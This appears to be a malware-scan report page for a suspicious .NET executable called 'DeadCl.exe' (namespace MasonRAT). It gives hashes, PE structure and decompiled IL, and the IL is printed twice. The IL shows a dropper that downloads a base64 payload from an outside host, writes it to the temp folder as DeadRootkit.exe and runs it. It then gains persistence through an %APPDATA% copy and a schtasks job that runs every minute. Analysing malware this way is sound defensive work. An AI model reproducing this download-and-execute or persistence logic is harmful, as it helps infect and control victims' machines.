Suspicious
Suspect

25304cba1af5d7a626c29a9c74b01cfe

Share on LinkedIn Add to favorites
Re-Scan
Delete
PE Executable
MD5: 25304cba1af5d7a626c29a9c74b01cfe
Size: 49.66 KB
application/x-dosexec
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very low

Hash
 Hash Value
MD5
25304cba1af5d7a626c29a9c74b01cfe
Sha1
5ba7133848ae4019ba9a76083e5064912b15a0c6
Sha256
f78f28bed3f3bde52820f679af796dc98eeb25067bcff76a4935d8712e80d5e8
Sha384
dd48231d84d513350726752b9d414af562bbaf49e68c7dedb0255e61f0cadafa61bca00fa78327df81eae4b52988a620
Sha512
9632ae1e9d16f11025c7530f32fdc01914515053ee0787ad72521586566cb28503d6d0a3a31f60af060caa98cb87b500400032929aee0937ed323afebde4b49f
SSDeep
768:ibPBxIruUlWgB3y3g8KEzDcwbtKNmRhJMehLOzWUpn9uSx:ibPBxIHlWkGkwbtKy1OJuw
TLSH
BA23E988B3D90131C8BF27B16873121982F476A34916DA1F7CC852DE7B27B998641EF3

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
25304cba1af5d7a626c29a9c74b01cfe
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

DeadCl.exe
Full Name

DeadCl.exe
EntryPoint

System.Void MasonRAT.Designing::Returning()
Scope Name

DeadCl.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DeadCl
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

407
Main Method

System.Void MasonRAT.Designing::Returning()
Main IL Instruction Count

124
Main IL

call System.Boolean MasonRAT.Objective::Surveillance() brtrue.s IL_000D: ldstr "https://rootkitdead.netlify.app/" ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldstr https://rootkitdead.netlify.app/ stloc.s V_5 call System.String System.IO.Path::GetTempPath() ldstr DeadRootkit.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldc.i4 3072 call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType) newobj System.Void System.Net.WebClient::.ctor() stloc.s V_6 ldloc.s V_6 ldloc.s V_5 callvirt System.String System.Net.WebClient::DownloadString(System.String) callvirt System.String System.String::Trim() stloc.s V_7 ldloc.s V_7 call System.Byte[] System.Convert::FromBase64String(System.String) stloc.s V_8 ldloc.s V_4 ldloc.s V_8 call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.s V_4 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> leave.s IL_006E: leave.s IL_007F ldloc.s V_6 brfalse.s IL_006D: endfinally ldloc.s V_6 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_007F: ldstr "appdata" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_007F: ldstr "appdata" ldstr appdata call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stloc.0 <null> ldloc.0 <null> ldstr \ ldsfld System.String MasonRAT.Removable::Basically call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldsfld System.String MasonRAT.Removable::Basically ldloc.1 <null> call System.Void System.IO.File::Copy(System.String,System.String) leave.s IL_00BC: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00BC: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_12 ldloc.s V_12 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_12 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String MasonRAT.Removable::Basically call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_12 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_11 ldloc.s V_11 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0135: ldnull dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0135: ldnull ldnull <null> ldftn System.Void MasonRAT.Objective::Punishment() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldnull <null> ldftn System.Void MasonRAT.Designing::Tournament() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> call System.String MasonRAT.Objective::Britannica() stsfld System.String MasonRAT.Removable::Motherboard ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name

DeadCl.exe
Full Name

DeadCl.exe
EntryPoint

System.Void MasonRAT.Designing::Returning()
Scope Name

DeadCl.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DeadCl
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

407
Main Method

System.Void MasonRAT.Designing::Returning()
Main IL Instruction Count

124
Main IL

call System.Boolean MasonRAT.Objective::Surveillance() brtrue.s IL_000D: ldstr "https://rootkitdead.netlify.app/" ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldstr https://rootkitdead.netlify.app/ stloc.s V_5 call System.String System.IO.Path::GetTempPath() ldstr DeadRootkit.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldc.i4 3072 call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType) newobj System.Void System.Net.WebClient::.ctor() stloc.s V_6 ldloc.s V_6 ldloc.s V_5 callvirt System.String System.Net.WebClient::DownloadString(System.String) callvirt System.String System.String::Trim() stloc.s V_7 ldloc.s V_7 call System.Byte[] System.Convert::FromBase64String(System.String) stloc.s V_8 ldloc.s V_4 ldloc.s V_8 call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.s V_4 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> leave.s IL_006E: leave.s IL_007F ldloc.s V_6 brfalse.s IL_006D: endfinally ldloc.s V_6 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_007F: ldstr "appdata" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_007F: ldstr "appdata" ldstr appdata call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stloc.0 <null> ldloc.0 <null> ldstr \ ldsfld System.String MasonRAT.Removable::Basically call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldsfld System.String MasonRAT.Removable::Basically ldloc.1 <null> call System.Void System.IO.File::Copy(System.String,System.String) leave.s IL_00BC: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00BC: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_12 ldloc.s V_12 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_12 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String MasonRAT.Removable::Basically call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_12 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_11 ldloc.s V_11 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0135: ldnull dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0135: ldnull ldnull <null> ldftn System.Void MasonRAT.Objective::Punishment() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldnull <null> ldftn System.Void MasonRAT.Designing::Tournament() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> call System.String MasonRAT.Objective::Britannica() stsfld System.String MasonRAT.Removable::Motherboard ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
25304cba1af5d7a626c29a9c74b01cfe (49.66 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙